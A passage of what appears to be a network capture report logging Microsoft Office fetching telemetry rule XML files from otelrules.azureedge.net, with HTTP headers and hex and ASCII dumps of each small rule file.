49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:04 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:04 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 32d5e889-e01e-0099-1f00-2dda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184504Z-16547b76f7f775p5hC1DFWzdvn0000000d0g000000009qd4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:04 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:04 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:04 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:04 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 215f87f6-c01e-0046-2c15-2d2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184504Z-16547b76f7f775p5hC1DFWzdvn0000000d20000000005sxh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-10 18:45:04 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:04 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:04 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 2398c3f1-501e-007b-7e8e-2d5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184504Z-15869dbbcc6qwghvhC1DFWssds00000009z000000000adpd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:04 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:05 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:05 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 100aec20-201e-006e-1215-2dbbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184505Z-16547b76f7f9rdn9hC1DFWfk7s0000000cy000000000gkr6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:05 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:05 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:05 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:05 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 81840efa-e01e-0085-3c5a-32c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184505Z-15869dbbcc6pfq2ghC1DFWmp1400000006e0000000000s5k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:05 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:05 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:05 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 0a232b99-b01e-0002-2462-321b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184505Z-17df447cdb59mt7dhC1DFWqpg400000009b0000000007vbv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:05 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:05 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:05 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:05 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: a4ba0423-501e-0029-6446-2cd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184505Z-16547b76f7frbg6bhC1DFWr5400000000d10000000001y8c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:05 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:05 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:05 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:05 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 4a1cb9ec-a01e-0021-5a00-2d814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184505Z-16547b76f7fj897nhC1DFWdwq40000000ctg00000000k18g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:05 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:06 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:06 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 8c834ff2-c01e-007a-7f36-33b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184506Z-15869dbbcc6rnr5chC1DFWwtp400000001mg00000000mfgq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:06 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:06 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:06 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 52f47879-101e-0034-4839-3396ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184506Z-17df447cdb5vq4m4hC1DFWrbp800000009a0000000004shv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:06 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:06 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:06 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 29e284b5-001e-0065-5703-2d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184506Z-16547b76f7f8dwtrhC1DFWd1zn0000000d4000000000b46n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:06 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:06 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: cd5b73c9-701e-0098-1e09-2d395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184506Z-16547b76f7f9rdn9hC1DFWfk7s0000000d0000000000b6d0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
